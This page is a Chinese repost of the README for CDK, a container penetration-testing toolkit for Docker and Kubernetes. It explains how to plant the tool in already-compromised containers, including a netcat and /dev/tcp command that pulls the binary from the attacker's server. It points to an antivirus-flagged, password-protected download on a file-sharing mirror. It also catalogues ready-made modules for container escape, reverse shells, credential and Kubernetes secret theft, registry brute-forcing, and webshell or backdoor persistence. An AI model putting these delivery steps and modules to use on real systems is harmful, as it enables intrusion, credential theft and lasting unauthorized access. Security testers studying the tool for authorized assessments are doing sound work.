CDK 针对容器环境定制的渗透测试工具

CDK 针对容器环境定制的渗透测试工具

介绍

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

下载/植入

将可执行文件投递到已攻入的容器内部开始使用

①GitHub

https://github.com/cdk-team/CDK/releases/

②云中转网盘:

https://yzzpan.com/#sharefile=MZRAEeGi_25990
解压密码:www.ddosi.org
文件会报毒,已设置密码.

技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK

如果你的漏洞利用过程允许上传文件,即可直接植入CDK。
如果你可以在目标容器中执行命令(RCE),但容器中没有wgetcurl命令,可以参考下面方法植入:

  1. 将CDK下载到你的公网服务器,监听端口:
nc -lvp 999 < cdk
  1. 在已攻入的目标容器中执行:
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk

使用方法

Container DucK
Zero-dependency docker/k8s penetration toolkit by <[email protected]>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl	(get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

功能

CDK包括三个功能模块

  1. Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  2. Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  3. Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

Evaluate 模块

用法

cdk evaluate [--full]

用于本地信息收集,寻找可用的逃逸点,使用 --full 参数时会包含本地文件扫描。

检测项

类别检测点已支持详细文档
本地信息收集OS基本信息link
本地信息收集可用的Capabilitieslink
本地信息收集可用的Linux命令link
本地信息收集挂载情况link
本地信息收集网络namespace隔离情况link
本地信息收集环境变量link
本地信息收集敏感服务link
本地信息收集敏感目录及文件link
本地信息收集kube-proxy边界绕过(CVE-2020-8558)link
网络探测K8s Api-server信息link
网络探测K8s Service-account信息link
网络探测云厂商Metadata APIlink
CDK 针对容器环境定制的渗透测试工具

Exploit 模块

列举全部exp

cdk run --list

执行指定的exp

cdk run <script-name> [options]

列表

类别功能调用名已支持文档
容器逃逸docker-runc CVE-2019-5736runc-pwn
容器逃逸containerd-shim CVE-2020-15257shim-pwnlink
容器逃逸docker.sock逃逸PoC(docker-in-docker)docker-sock-checklink
容器逃逸docker.sock命令执行docker-sock-pwnlink
容器逃逸Docker API(2375)命令执行docker-api-pwnlink
容器逃逸挂载逃逸(特权容器)mount-disklink
容器逃逸Cgroup逃逸(特权容器)mount-cgrouplink
容器逃逸Procfs目录挂载逃逸mount-procfslink
容器逃逸Ptrace逃逸PoCcheck-ptracelink
容器逃逸lxcfs cgroup错误配置逃逸lxcfs-rwlink
容器逃逸重写Cgroup以访问设备rewrite-cgroup-deviceslink
网络探测K8s组件探测service-probelink
信息收集检查和获取Istio元信息istio-checklink
远程控制反弹shellreverse-shelllink
信息窃取暴力破解镜像源账号registry-brutelink
信息窃取扫描AK及API认证凭据ak-leakagelink
信息窃取窃取K8s Secretsk8s-secret-dumplink
信息窃取窃取K8s Configk8s-configmap-dumplink
信息窃取获取K8s Pod Security Policiesk8s-psp-dumplink
权限提升K8s RBAC绕过k8s-get-sa-tokenlink
持久化部署WebShellwebshell-deploylink
持久化部署后门Podk8s-backdoor-daemonsetlink
持久化部署影子K8s api-serverk8s-shadow-apiserverlink
持久化K8s MITM攻击(CVE-2020-8554)k8s-mitm-clusteriplink
持久化部署K8s CronJobk8s-cronjoblink

Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题。参数略有不同,详见下面文档链接:

cdk nc [options]
cdk ps

列表

子命令描述已支持详细文档
ncTCP隧道link
ps获取进程信息link
ifconfig获取网络信息link
vi文本编辑link
kcurl发包到K8s api-serverlink
dcurl发包到Docker HTTP APIlink
ucurl发包到Docker Unix Socketlink
rcurl发包到Docker Registry API
probeIP/端口扫描link
kproxykubectl代理转发

反馈及贡献代码

首先感谢您花费时间来使CDK变得更好用👍

Bug反馈、建议以及代码提交,您的Github ID会在以下致谢列表披露:

Bug反馈

请提交在GitHub Issues中,提供当前的CDK版本、报错信息或截图、能够复现这个问题的环境并详细描述您的复现步骤。

功能建议

GitHub Discussions中您可以畅所欲言,同开发人员讨论您想要的功能。

代码提交

请通过PR提交您的代码,并包含如下信息:

修复Bug或增强代码健壮性:

  • 提供当前的CDK版本、报错信息或截图、能够复现这个问题的环境并详细描述您的复现步骤。
  • 请提供Bug修复前以及修复后的截图或日志对比。

增加功能或新的evaluate/exploit插件:

  • 描述其应用场景,解决的问题。
  • 请描述如何构建一个漏洞环境供我们评估代码与集成测试。
  • 新功能使用时的截图或日志。
  • 如果您在提交一个evaluate/exploit插件,请在PR的信息中加入使用文档,文档示例

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。